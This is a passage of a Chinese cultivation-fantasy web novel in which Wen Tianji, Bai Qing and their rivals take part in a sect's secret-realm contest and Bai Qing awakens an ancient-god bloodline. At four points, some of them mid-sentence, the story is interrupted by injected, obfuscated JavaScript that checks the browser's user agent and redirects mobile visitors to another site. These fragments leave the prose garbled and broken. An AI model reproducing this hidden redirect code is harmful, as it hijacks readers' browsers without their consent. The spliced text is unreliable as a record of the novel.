他这么一说,温天霁心里有点发憷了,万一柳琛忱狮子大开口,或者柳琛忱提出的要求让他很是为难,岂不是不妙。 “只要不是特别过分的要求,都可以。”温天霁斟酌道。 “我……”柳琛忱低下头,害羞一笑,“我想要在大比结束之后,和温二公子单独相处一日,可以吗?” 温天霁当即松了一口气,他还以为是什么为难人的要求,却不料是这样简单的事情。 “当然可以,大比过后,日子随便你挑,只我们两人一起。” 柏清听到这里,算是彻底明白了,柳琛忱这个人对他的妻主也是有想法,内心并不纯洁! 他心中危机感顿时上来了。 柳家是医术最得到修士们肯定的世家,其中柳琛忱被所有人认定,百年后必然会继承柳家,成为柳家家主。 除了医仙慕筠涟,恐怕百年后医术最厉害的人,莫过于柳琛忱了。 这样强劲的对手觊觎着自己的妻主,柏清自然不能淡然处之。 为今之计,只有先和妻主一起夺得旭日大比前三名,进入天衍宗,然后尽快提升实力,让妻主知道,他这只潜力股的能力绝对不亚于柳琛忱。 但那是以后的事,现在的柏清只能眼睁睁地看着妻主答应柳琛忱的邀请,无能为力,不能阻止。 柳琛忱听到温天霁答应了自己的请求后,很是高兴。 因为在柳琛忱的印象里,温天霁似乎认为他喜欢柏清,这样一来,他和温天霁算是情敌。 没想到,温天霁这么大方,愿意和“情敌”一起单独相处一日,也不怕“情敌”给他耍阴招,暗害他。 看来是他以前误会温天霁了。 这么多天相处下来,柳琛忱已经对温天霁刮目相看,大为改观,甚至隐隐约约有些朦胧而暧昧的好感。 “不急。”柳琛忱柔声道,“等你大比完后,我还要替你扎上三日的针。” 说到这里,柳琛忱面色沉了下来,有些忧虑:“那时,你的任督二脉会非常紧窄,身体会更加虚弱,修炼比常人艰难百倍千倍。” “无妨。”温天霁满不在乎地摆摆手。 要不是洗髓丸在越虚弱的时候用,效果越好,温天霁真想立马用上,给这群人一个大大的惊喜,让他们知道,什么叫做真正的天纵奇才,骨骼惊奇。 柳琛忱见他这样不爱惜自己的身体,忍不住唠叨了几句:“温二公子,知道你在温府处境艰难,想要去天衍宗避难。但我是天衍宗出来的,只能说天衍宗也是个捧高踩低的地方。到时候以你的资质,恐怕要受的奚落多了去了。” 柳琛忱说着,从腰带上解下一枚环佩,递了过去:“这是我的贴身玉佩,若你去了天衍宗,就带在身上,有眼见的人看到这块玉佩,便不会再为难你了。” 温天霁也不客气,小手一伸,将雕工精美的帝王绿玉佩拿了过来。 他挑了挑眉:“柳公子,现在还没比试完,你就这么确定,我能获得前三名,进入天衍宗?” 柳琛忱点点头,坚定道:“不错。以你现在的水平,加上我的医术,别说前三名,夺魁都是轻而易举的事。” 温天霁所有的力气都用来拿玉佩了,现在一点力气也没有,只能像具尸体一样躺在床上:“多谢柳公子给予厚望,我必不会辜负你的期盼。” 柳琛忱笑了笑,起身:“好。那今日就叨唠到这,我先告辞。” “慢走不送。”温天霁虚弱道。 柳琛忱走后,温天霁开始回忆《龙傲天下》这本小说里关于旭日大比的剧情。 原著里,大比的第一名是柏清,第二名是梦辙言。 听起来似乎柏清拿到这个第一名是轻而易举,实则不然。 前面几轮都是两两比试,柏清都轻松淘汰了对手。 但是十五日那日是秘境比试,只有前面淘汰赛剩下的十六位选手才能进入。 这一场比试,持续一个月,比的是夺取的魔晶总量和质量谁更高,谁就获胜。 魔晶,魔兽晶石的简称。 人族修炼后体内会形成金丹或者元婴,而魔兽修炼后体内会形成魔晶。 人族的修炼境界分为:炼气、筑基、辟谷、金丹、元婴、出窍、分神、合体、大乘、渡劫。 而魔兽修炼境界则是:引魔、炼体、反刍、结晶、生精、隐月、留心、出日、问鼎、长生。 进入秘境的修士最高境界也就金丹,对应的,里面魔兽的境界也不会太高,最多生精期,相当于人族的元婴期。 原著中,进入秘境后,各个参赛者就分头行动了。 柏清一开始遇到的魔兽都在反刍期,最高遇到的也就是结晶期的魔兽。 但是在初一那日,他竟然遇到了生精期的九角牛魔。他没有办法,只能仓皇逃窜,好在逃跑过程中遇到了梦辙言,最后两人合力击杀了九角牛魔。 梦辙言暗恋柏清,自然将九角牛魔的魔晶给了柏清。 此后,两人便分开了。 但这还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156306|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没完,在秘境比试的倒数第二日,柏清在玄潭遇到了蜕皮的九霄紫蛟。 这九霄紫蛟足足有隐月期的修为,也就是相当于人族出窍期的修为,高了柏清足足两个大境界。 九霄紫蛟一尾巴将柏清扫入了玄潭之中,准备将柏清镇压在玄潭之下,做自己的宠物。 就在柏清沉底,即将被九霄紫蛟打上奴仆印记的时候,他觉醒了古神血脉。 古神血脉霸道非常,越境杀人也是常事,柏清当即将九霄紫蛟反杀,并夺取了九霄紫蛟的魔晶,将魔晶里面的能量化为己用,一举晋升到出窍期。 因为古神血脉可以掩盖修为,所以他出来后,大家都还以为他是金丹前期的修为,没想到他已经是出窍期的大能。 后续,他也因此开启了一系列装逼打脸的爽文剧情。 想到这里,温天霁扶额苦笑,甚至还想沧桑点烟。 他动一动脑子,就知道这条九霄紫蛟是谁的手笔,肯定是他的好大哥温满想要用来加害柏清的,结果反而让柏清受益了。 温满的修为是渡劫中期,当世只有三个人能与他比肩。 其余的三个人没那么无聊,不会针对柏清,但是在原著里,他大哥温满可是对柏清恨意满满啊。 凭他大哥的修为,想要神不知鬼不觉地在柏清必经之路上放一条九霄紫蛟,那是易如反掌。 只是最后弄巧成拙罢了。 想到这里,温天霁摇了摇耳朵上垂挂的风铃,传音给温满:“大哥,你现在在哪里?” 温满远在千里之外,即便在忙,也停了下来,传声回道:“我在灵魔交接处,霁儿,你有什么事吗?” 一听到灵魔交接处,温天霁顿时觉得头都大了。 因为九霄紫蛟就生活在灵魔交接处。 “大哥,”温天霁试探着问,“你不会在捕捉九霄紫蛟吧?” “你怎么知道?”温满问。 温天霁无奈地摸了摸眉尾:“我当然知道,九霄紫蛟和常山令狐多生长在灵魔交接处,你在这里,不是为了捕捉九霄紫蛟,就是为了捕捉常山令狐。” 温满笑道:“我的霁儿真聪明。” 温天霁生怕温满再次给柏清使绊子,于是道:“对了大哥,说起来,我给你传音,是想要和你说秘境比试的事。秘境比试,我决定和柏清组队,到时候分到的大头都归我。” 温天霁这样说,就是怕他大哥再给柏清放九霄紫蛟。 只要他和柏清同行,他大哥忌惮他,肯定就不会放出九霄紫蛟了。 至于柏清的古神血脉,可以自然而然地在修炼中觉醒,也没有必要非要在凶险万分的情况下觉醒。 万一到时候没觉醒,他岂不是失去了柏清这条听话的狗? 温满闻言,顿了一下,道:“我明白了。看来我的霁儿真的长大了,猜到为兄的心思,也知道怎么才能打消为兄的心思。” “说什么呢。”温天霁撒娇道,“兄长的心思深不可测,霁儿如何能够猜到。好了,不说了,大哥你忙吧。” 说完,温天霁掐断了对话。 而一旁听完全程的柏清,只有一个念头:“太好了,秘境比试,妻主要我陪同他一起。我定然不会辜负他的期望,努力让他成为第一名!” 19. 第 19 章 等到十五日那天,温天霁和柏清赶到渝州分舵,只见来人不多,加上他们正好十六人。 温天霁看了一眼,都是老熟人,像丁凌风不用多说,还有什么他霸凌过的沈流心,暗恋过他但是被他暴打后老实了的秦珂兰。 丁凌风施施然走了上来,大量着温天霁:“温兄,你身子可好?上一次见你施针过后全身乏力,很快就睡了。你不知道,我很担心你出什么事。” “他能有什么事!”被原主霸凌过的沈流心阴阳怪气道,“你没听说过吗?好人不长命,祸害遗千年。像他这样的坏人,肯定一时半刻死不了,说不准还会活得比我们都长久。” 温天霁斜睨着沈流心,连给对方一个正眼都欠奉。 只见沈流心人如其名,流里流气,明明穿金戴银,是个富家公子的装扮,但是偏偏整个人的气质给人一种走街串巷的小混混的感觉。 温天霁翻了个白眼,对丁凌风道:“不用搭理这种人,他既然祝福我活得久,那他的祝福我们就笑纳了。至于更多的,和他说话交流之类就不必了,免得脏了自己的嘴。” “你!”沈流心瞪大了双眼,一副不服气的表情。 但是他又能怎么样?他不过是筑基大圆满的修为,根本打不过金丹中期的温天霁。 温天霁给了丁凌风一个眼神,暗示对方跟自己走,别和沈流心这种人纠缠不清。 丁凌风很有眼力见地跟了上去。 温天霁在大堂内找了把椅子坐了下来,因为其他的椅子都被天衍宗的人占满了,因此温天霁一坐下,柏清和丁凌风就只能站在他身旁。 然而,让温天霁没有想到的是,沈流心和秦珂兰也跟了过来,站在他身旁。 沈流心长得很周正,但是五官却有点过于凌厉,以至于别人看到他会觉得他性格很不好相处,就像是收保护费的混混一样。 有这样一个人站在自己身边,温天霁又没有给对方保护费,不仅没有给,还曾经狠狠羞辱过对方,这让温天霁无形中感觉一股莫名的压力。 “你能离我远点吗?”温天霁抬头,冲着沈流心没有好气道。 沈流心皱了皱眉,看向温天霁,觉得眼前的人好像哪里变了:“温天霁,你竟然没有直接动手打我……” 这倒是让他有点感到意外。 温天霁这下真的觉得莫名其妙,无语地问:“好端端的,我为什么要动手打你?” “你不是看我不爽吗?”沈流心心中暗暗计较,“你不是看谁不爽,就上去一顿胖揍吗?况且我还嘲讽你了。怎么,今天因为天衍宗的人都在这里,所以你不敢了是吗?” 沈流心想得很好,今天十六个人,只有三个人能进入天衍宗。 其中温天霁、柏清和丁凌风是金丹期的修为,其余都是筑基期。 而他是筑基期大圆满的修为,在剩下这群人中,最有可能进入前三。但因为有温天霁、柏清和丁凌风的存在,他想要进入前三,难如登天。 因此,他想出了一个阴损的主意。 那就是不断地用言语来刺激温天霁,想要让温天霁在众多天衍宗门派的人面前,动手打他。 这样一来,说不定温天霁就会被取消资格,而他也能不战而胜。 只可惜,理想很丰满,现实很骨感。 温天霁早已经不是原主那个冲动易怒的个性,如今的他,虽然骄纵刁蛮,但对于看不惯的人,那是多一个眼神都懒得给,更别说动手打架了。 温天霁好不容易让柳琛忱修复了金丹和任督二脉,为了就是在秘境比试中出彩,而不是为了浪费在沈流心这种三流货色身上的。 “不是不敢,”温天霁嗤笑一声,“而是你这种下等货色,有什么资格让我动手?再说了,秘境比试在即,我们一个月后孰优孰劣就能见分晓,不急于一时。” 沈流心:“……” 他怎么感觉温天霁突然带脑子了,而且还会嘲讽人了。 “什么叫做下等货色?”沈流心怒上心头。他也算是沈家的骄傲,怎么能够容忍温天霁这样评价他。 “下等货色就是你啊。”温天霁叹了一口气,挑眉看向他,“我所说的下等货色,就是明明实力不如人,还要挑衅,想用卑劣的手段来获取前三名的下贱东西。” 温天霁这几句话,直接点明了沈流心的用意。 沈流心当即吐出一个“你”字,但是后面要说什么,他却接不上来,只能忍气吞声,收下了温天霁的这一顿骂。 温天霁看着沈流心气呼呼地离开,就又将目光投向秦珂兰:“至于你,还没有被我揍服,还对我有什么过分的想法吗?” 秦珂兰为人高大,足足有九尺,高出了温天霁两个头。他放到现在社会,一定是打篮球的一把好手。 温天霁仰着脖子,觉得脖子有点酸,还好秦珂兰识相,蹲了下来,和温天霁平视,然后道:“温二公子,你误会了。” “我误会什么了?”温天霁好整以暇地问。 “我对你没有什么过分的想法。”秦珂兰明明颇有些落拓风流的浪子气息,但在温天霁面前却活脱脱一个老实人。 他微微红着脸道:“温公子,我只是喜欢好看的东西。而你,恰巧很好看。而且……最近你行事作风很端正,不像以前,这让我更加喜欢了。” 温天霁无语了,他总不能让秦珂兰闭上眼睛,不准看自己吧。 但给秦珂兰白看,也不是温天霁的作风。 温天霁和秦珂兰商量道:“我长得这么好看,你想不想一直看到我?“ 秦珂兰笑道:“当然想。” 温天霁于是趁机提出:“以后我给你看,但是前提条件是,这次秘境大比,你要将获取到的资源分给我三分之一,不然以后我就带面纱,不给你看了。” 秦珂兰有些为难,但思量再三,还是被自己的颜控属性战胜:“好,我答应你。” 温天霁对于很满意。 唯一不满意的人恐怕就是柏清了。 柏清在一旁看到秦珂兰这副痴汉样,心中气得快要爆炸。 而且他的妻主纵容了秦珂兰的痴汉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156307|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柏清气鼓鼓的。 但是柏清也明白,这样的结果,还是因为他太弱小了,不能独占妻主的视线。 若是他足够强大,能够给妻主提供一切妻主需要的资源,那么妻主就不必再和别的人做交易。 美人,只配强者拥有。 这一个道理,柏清深有体会,并且准备身体力行地实践。 柏清不怀好意地瞪了秦珂兰一眼。 在温天霁面前装得老实巴交的秦珂兰,在柏清面前就毫不掩饰了,他斜挑风流蕴藉的双眸,笑意吟吟地瞪了回来,似乎在说:“不服吗?谁让你不够强大。” 照理说,柏清这样被柏玲珑收养的孤儿,能够入赘梦家这样的修仙三家世家,是上辈子秋来的福分。 柏清自从明白温天霁没有把他当作炉鼎后,也明白过来,这对他只有利,没有弊,所以不会再做出什么软饭硬吃的举动。 现在的他,一门心思地想要变强,然后将自己倾国倾城的娇妻占为己有,不让其他的人觊觎。 就在柏清心思复杂的这段时间里,何婉茹和马啸风站了出来。 何婉茹虽然是对剩下的十六名修士说话,但目光却锁定在温天霁身上:“诸位,请随我来。” 话音刚落,何婉茹便走到门前空地上,御剑向上飞去。 温天霁瞬间明白过来,这是第一道考校——考验的是参赛者能否跟上何婉茹,成功抵达秘境之前。 温天霁因为身体原因,必须保留灵力,于是走到门口,催促柏清:“御剑载我。” “是。” 柏清喜上眉梢,当即化出那柄断剑,载着温天霁跟随何婉茹乘风而去。 御剑载两个人比自己一个人御剑要难,消耗的灵力更多,也更考验御剑者的御剑技术。 好在柏清别的不行,那实力是没话说,稳稳当当地载着温天霁向前飞行。 就在此时,异变陡生。 沈流心猛然加快御幡速度,朝着温天霁撞了过来。 何婉茹雍容大气的声音适时响起:“若有人从法器上掉了下去,即便再上来,也视为淘汰。” 很显然,沈流心应当提前知道了考校内容,因此才会这么做。 只见他手上捏着数百张高级爆裂符,一瞬间朝温天霁投掷而来。 符纸的等级分为:凡级、低级、中级、高级、地级、天级、仙级、神级、玄级。 其中高级爆裂符,一张便能够破除筑基期大圆满的护体法罩。 数百张高级爆裂符齐发,别说能够破除金丹中期修士的护体法罩,就是杀死这名金丹中期的修士也绰绰有余。 “唉。”温天霁看蠢货一样看着沈流心作死。 他这次出门前,大哥温满可是给了他一堆法器,他不去杀别人就好了,没有被别人杀死的道理。 但是柏清不知道,只听得男德系统道:“发现男妻温天霁有生命危险,请宿主保护男妻” 不等男德系统开口,柏清就早已将温天霁圈在怀中,将自己挡在飞来的爆裂符之前。 20. 第 20 章 再怎么说,打狗还得看主人。 柏清是他温天霁手下的忠犬,岂容沈流心这等奸邪小人暗害! 就在温天霁准备掏出反甲,将自己与柏清笼罩起来的时候,他发现,柏清身上出现了及其巧妙的变化。 这一点别人可能无法发现,但是被柏清抱在怀中的温天霁那是感知得真切——柏清的身体开始剧烈发烫。 温天霁感知到这点变化之时,内心微微有些激动。 原著中,柏清被九霄紫蛟扫落玄潭,即将被下奴仆印时,书中的用词就是:柏清只觉得自己的身体在剧烈发烫,仿佛有三昧真火在烘灼他。 这代表什么? 这代表柏清在觉醒古神血脉! 先天生下来就是神仙的被成为神,后天修炼成神仙的被成为仙。 古神就是神的其中一种。古神依靠炼体,不断寂灭本体,再不断重生本体而变得强大。 古神最值得称道的便是他们那刀枪不入,无法被外物所摧毁的肉|体。 如果柏清真的在这时候觉醒了古神血脉,那么别说数百张高级爆裂符,就算是数千张高级爆裂符,恐怕也穿透不了柏清以肉|体铸成的屏障,更遑论伤到温天霁了。 温天霁想到这里,怕自己给柏清套上反甲后,会打断柏清的觉醒过程;但是若不套上反甲,又怕柏清没有觉醒成功,自己和柏清都成为沈流心这个下三滥的手下亡魂。 于是,温天霁默默地给自己套上了反甲。 至于柏清,温天霁只能祈祷他顺利觉醒古神血脉,否则他也爱莫能助。 此刻的柏清,身体烫到仿佛血液都在沸腾。 他觉得自己的肉|体正在被重塑,而重塑的过程非常快,眨眼间,他身上的热度就已经退去。 柏清还没明白发生了什么事,爆裂符就悉数打在他后背上。 数百张爆裂符瞬间引燃,发出山崩地裂般的轰鸣声。 “不——” 丁凌风还没想明白自己到底喜欢的是柏清,还是温天霁,就眼见着这两人被爆裂符包围,然后瞬间置身火海。 “沈、流、心!”丁凌风一字一顿,咬牙切齿地喊出这个让他深恶痛绝的名字。 丁凌风抽出自己本命武器——骨箫——开始针对沈流心吹奏出刺耳的杂音。 而一旁的秦珂兰眼中流露出几分可惜,见丁凌风出手了,他便“啧啧”两声,不再理睬这陡发的意外,老老实实地跟在何婉茹身后。 说实在的,秦珂兰虽然有些惋惜温天霁这样倾国倾城的美人即将香消玉殒,但比起这微不足道的怜惜,还是自己的前途更加重要。 因此,他更开心的是,柏清、温天霁葬身火海,而沈流心也要被丁凌风除掉,那么前三甲定然有他一席之地。 之前他答应给温天霁资源,那是明知道自己不可能获得前三甲,顺势讨好温天霁,在温天霁这个温家宠儿面前博个好眼缘罢了。 秦珂兰风流的双眸弯了起来,里面充盈着笑意和算计。 然而让所有人意外的是,当火光逐渐消散,柏清却安然无恙地站在那柄断剑之上。 而他怀中的温天霁因为穿了反甲,更是毫发无损。 “怎么可能?”沈流心瞪大了双眼,一脸的难以置信。 还没等他反应过来,温天霁所穿的反甲的效果已经开始发挥作用。温天霁本应受到的炽热滚烫,顿时在沈流心身上作用,沈流心刹那间被烤熟,散发出肉香来。 而丁凌风不久前吹的乐曲,能够削皮刮骨,烤熟的沈流心一时间像烤鸭一般,被片片削落,随着禁幡一起从半空掉落。 温天霁没有错过秦珂兰眼中一闪而逝的欣喜,他拍了拍柏清的胳膊,示意柏清朝着秦珂兰而去。 “你好像很开心?”温天霁问秦珂兰。 秦珂兰此刻脸上满是庆幸:“我当然开心,温二公子,你没事,实在是太好了!” “不。”温天霁哂笑,用看穿一切的目光注视着秦珂兰,“我是说,刚才你以为我就要死了,好像很开心?” 秦珂兰脸上露出惊讶的表情:“怎么会?温二公子,你是知道的,我一向喜欢漂亮的东西。若是漂亮好看的东西支离破碎,我会伤心到喘不过气,又怎么会开心呢?” 温天霁冷笑一声,直接甩了秦珂兰一个巴掌:“还在狡辩!” 秦珂兰被打得脸一歪,低下头,眼中闪过一抹阴狠。 然而,秦珂兰生得委实是太高了,他本以为自己低下头能掩饰自己的眼神和不甘,却不料因为长得太高,被温天霁看得一清二楚。 温天霁又是一个巴掌,瞬间将秦珂兰的脸打肿:“你个下贱的东西,也和沈流心是同等货色!” 秦珂兰还在装傻:“温二公子明鉴,在下怎么可能幸灾乐祸,在下关心您的安危还来不及。” “非要我说穿,你才肯死心是吗?”温天霁懒洋洋道,声音娇俏,“要是我和柏清死了,你就有机会进入前三名,成为天衍宗弟子,不是吗?这难道不值得你高兴?” “没有这回事。”秦珂兰打死不承认,“我只关心你的安危,绝对没有这样歹毒的心思。” 温天霁见把话都说开了,这个秦珂兰脸皮还是那么厚,死不承认,也没有什么办法。 再说他给了秦珂兰两巴掌,将对方打成个猪头,也算泄愤了。 “有我、夫君和丁凌风在,”温天霁撂下狠话,“你秦珂兰就别想获得前三名。你这种小人,不配。” “是是是。”秦珂兰连忙应声。 秦珂兰看着温天霁和柏清离去的背影,舔了舔嘴唇,眼中流落出兴味来。 这个温天霁似乎比以前要有趣多了,也聪明多了。 只有这样鲜活生动有脑子的美人,才值得他秦珂兰的注意。 离开秦珂兰一段距离后,柏清小心翼翼地牵起温天霁的手,揉了揉:“妻主,以后不要随意奖励别人。” 温天霁:“???” 他什么时候随意奖励别人了? 柏清似乎看出他眼中的疑惑,解惑道:“妻主,被人扇巴掌是一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15156308|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至高无上的奖赏。” 温天霁:“……” 他的沉默震耳欲聋。 这一出闹剧下来,就连考官何婉茹也忍不住回头,问温天霁:“你还好吗?” “我还好。”温天霁将反甲收了起来,“我有天级法宝反甲在,一般人不仅伤不了我,还会作茧自缚,弄巧成拙,伤了他自己。” 何婉茹娇笑一声:“就像沈流心,他所用的爆裂符的伤害,因为反甲的存在,全部作用在他自己身上,让自己成为一只‘烤鸭’了。” 在场的修炼之人都见惯生死,再残忍的画面都经历过,因此沈流心的惨状还不能触动他们,让他们觉得怜惜或者恶心。 何婉茹猜测道:“你大哥对你这么好,应该给你送了不少法宝吧?我猜天级反甲只是其中之一。” 温天霁摸了摸鼻子,大方承认:“不错。” 何婉茹笑了笑,又开始和温天霁讨教剑道。 上次温天霁说出了《素女心经》上半册中关于剑道的记载,这一次他告诉了何婉茹一些下半册里的内容。 当然他也留了个心眼,只说一半,多的不说。 虽然说了一半,但对何婉茹也是裨益良多,足够她用上好几年,甚至好几十年来参悟了。 何婉茹听完,竟然有些惭愧:“以你在温家受到的培养,来我们天衍宗,实在是屈才了。我在天衍宗算是受尽宠爱,但对剑道的领悟,还不足你的十分之一。” 温天霁有些心虚:“没,我来天衍宗自有我的道理。” 说说笑笑间,他们很快来到秘境之前。 秘境在天衍宗渝州分舵的东南面,已经被天衍宗把持,其余世家或是散修想要进入,必须得到天衍宗的首肯。 何婉茹开始介绍规则:“这方秘境联接着神魔交接处……” 话还没有说完,当即有人叫道:“神魔交接处,凶险万分,我们去了,岂有活命之理?” “我还没有说完,”何婉茹还是笑着,好脾气的样子,“这处秘境连接的地方我们天衍宗已经派人清扫过,里面的魔兽或者灵兽,最多只有生精期,相当于我们的出窍期。” “而且凡是结晶中期以上的兽族,性格都很温顺,绝对不会肆意攻击人族,大家尽管放心。” 刚刚叫嚷的人这时候拱手道:“原来如此,是我误会了。” “无妨。”何婉茹继续道,“这次你们要做的就是取魔兽的晶石,最后以魔晶的数量和质量排名。诸位,都听懂了吗?” “懂了。”众人异口同声。 “好,既然大家都听明白了,那我这就启动阵法,开始秘境。” 何婉茹站在离秘境三丈远的地方,开始结印。 开始阵法的印法繁复而精美,温天霁对阵法不太擅长,因此看何婉茹流畅地结出一个个好看的印法,心中颇有些欣赏。 柏清转头,看着温天霁眼中流露出的欣赏,不禁咬咬牙,暗下决心:“既然妻主喜欢阵法和禁制,那我以后学会就是了。妻主喜欢什么,我就学什么。” 21. 第 21 章 就在柏清下定决心学习阵法和禁制的时候,秘境的入口被何婉茹打开。 入口是个圆,周围散布着氤氲的水汽,导致对里面的东西看不真切,只能隐隐约约听到有兽族的鸣叫声 何婉茹摆手道:“诸位,入口已开,请。” 灵魔交接处是只有分神期及以上的大能才能安然无恙活着回来的地方,虽然何婉茹说这秘境连接的灵魔交接处已经被清扫过,但剩下的十几名参赛者都畏葸不前。 丁凌风走到温天霁身旁,对温天霁道:“我先进去,如果我确定里面安全的话,我会在门口喊你的。” “不用。” 不等温天霁答应,柏清就冷着脸拒绝了丁凌风的邀请。 他的妻主,自然由他守护,用不着丁凌风来献殷勤。 丁凌风脾气不算太差,因此碰了个冷脸,也只是讪讪地笑了一下,没有多说什么。 倒是温天霁调笑丁凌风:“你怎么不一口一个小生自称了?” “我……”丁凌风低下头,有些不好意思,“因为我觉得你好像不是很喜欢我自称小生。上次你还说什么我应在江湖悠悠,肯定不是什么好话。” “哟。”温天霁笑得更加欢了,“你也知道我那不是好话啊?我还以为我说的话听着应该很文雅才是,符合你的品位。” “才不是。”丁凌风小声争辩,“我又不喜欢这种没有文化,看起来还矫情的句子。而且你当时的态度很戏谑,我就知道不是什么好话了。” “可以可以。”温天霁伸手,摸了摸丁凌风的脑袋,“孺子可教也。” 对于丁凌风终于不再一口一个小生称呼自己,温天霁是满意的,不然的话,他听着也难受。 柏清一把抓住温天霁的手,将温天霁的手拉回来,正色道:“妻主,不要随意奖励别人。” 温天霁:“……” 摸摸丁凌风的脑袋,也算奖励丁凌风吗? 柏清是不是魔怔了? 柏清对温天霁道:“妻主,你等我一炷香的时间,我去探探路。如果一炷香的时间内,我没有回来,你再和丁凌风一起上路。” 说着,他看向丁凌风:“若是我没有回来,你定然要照顾好妻主。” 丁凌风心想,这还用你吩咐,点点头:“我一定会照顾好温兄的。” 交代完一切,柏清这才迈步,成为了第一个踏入秘境之中的人。 有人见柏清进去了,也三三两两地跟了进去。 有些聪明的,见温天霁和丁凌风还在原地不动,就知道柏清只是个去探路的,因此他们也按兵不动,等待柏清归来。 这样下来,十五名参赛者,进入秘境的有十个,还剩下包括温天霁和丁凌风在内的五个人在外面等。 一炷香的时间很快流逝,柏清果然从秘境中出来。 “妻主。”柏清插在温天霁和丁凌风两个人中间,“你跟我去吧,我找到了一条路,通往兽族的老窝。” 温天霁微微颔首,算是对柏清能力的认可。 柏清眼神晶亮地看着温天霁,似乎想要什么奖励。 温天霁想了想,对柏清道:“低头。” 谁让柏清长得太高了。 柏清低下头来,温天霁伸手,摸了摸柏清的脑袋:“好了没有?” “好了。”柏清虽然觉得还不够,但也知道适可而止的道理,朝温天霁露出一个温柔的笑容。 两人并肩,朝着秘境而去。 丁凌风也想跟上来,柏清回首道:“丁兄,还请你不要跟着我们。我和妻主组队,你还是一个人比较好。和我们在一起,我们不会分给你任何魔晶的。” 丁凌风暗叹了一口气,心想这个柏清还真是见色忘友,自己也算柏清的青兰竹马了吧,怎么柏清对他和对温天霁的态度犹如云泥之别呢? 没有办法,丁凌风只好停留在原地,等温天霁和柏清消失了一阵子,他才迈步进入秘境。 至此,所有人都已进入秘境。 何婉茹开始结印,用阵法将秘境入口封印起来。 马啸风站在一旁,心中忍不住冷笑起来:“何婉茹,我和你十几年的交情,你对待我的态度,还不如对待只有几面之缘的温天霁。我看你是喜欢上了温天霁。不过没有关系,这一次,温天霁必死无疑!” 温天霁正跟着柏清走小路,小路崎岖颠簸,温天霁走得有些不耐烦,冲柏清招了招手:“你抱我。” 柏清心下一喜,道了一声“好”,便将温天霁打横抱起。 离得这么近,柏清又闻到了温天霁身上美人梅的香气,淡淡的,很清冷。 美人梅只有在冬天或者春初才会绽放,那时气候很冷,特别像温天霁,美则美矣,却难以拥有靠近。 柏清能够靠近温天霁,这得益于他是温天霁的夫君。 柏清从来没有哪一刻,这么庆幸过,自己竟然入赘成了温天霁的夫君,这简直就是天上掉馅饼的美事。 就在柏清上山之时,走到半路,忽地一阵迷雾散了开来,将他们两人包围起来。 “怎么回事?”温天霁缩在柏清怀里,埋怨道,“你不是说这条路万无一失的吗?怎么这迷雾看起来像是什么厉害的阵法。” 温天霁对阵法和魔兽不了解,但是柏清却涉猎一二,还是知道些许的。 柏清当即判断道:“这迷雾是魔兽惨子狸弄出来的。” 听到惨子狸,温天霁浑身一震,顿时精神了。 惨子狸的牙齿据说比钻石还锋利,能够用来雕刻玄晶石。 温天霁上次做任务得到一块玄晶石,正好可以用来做剑身,而惨子狸的牙齿正好可以用来雕刻剑身,使得剑身符合他的审美。 温天霁拍了拍柏清的手臂:“你放我下来,我去抓惨子狸。” “惨子狸没那么好抓。”柏清蹙眉,“它们擅长隐藏自己的行踪,用神识也探测不到。而且它们散发的迷雾能够蛊惑人的心志,让身处期间的人做出平常一直隐忍不发的事。” 温天霁见柏清说得头头是道,便不耻下问:“那我们要怎么样才能抓到惨子狸?” 柏清边想边道:“惨子狸喜欢血腥,最喜欢看别人自残,它们这种畜生通常闻着别人自残的血腥味就一股脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15156309|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地扑了上来,叫嚣着让别人自残得更加凶狠,以此来吸血,满足自身的欲望。” 温天霁闻言,陷入了沉默之中,半晌,才道:“要想要引出惨子狸,难道还需要我们自残?” “这是其中一种方法。”柏清开口,有条不紊,“还有第二种方法。” 温天霁忍不住追问:“什么方法?” 柏清道:“惨子狸擅长用阵法,但是生精期以下的惨子狸凡是用阵法,都不能离开阵法的范围。只要我们破除阵法,找到阵眼,就能根据阵眼和惨子狸的联系,找到惨子狸。” 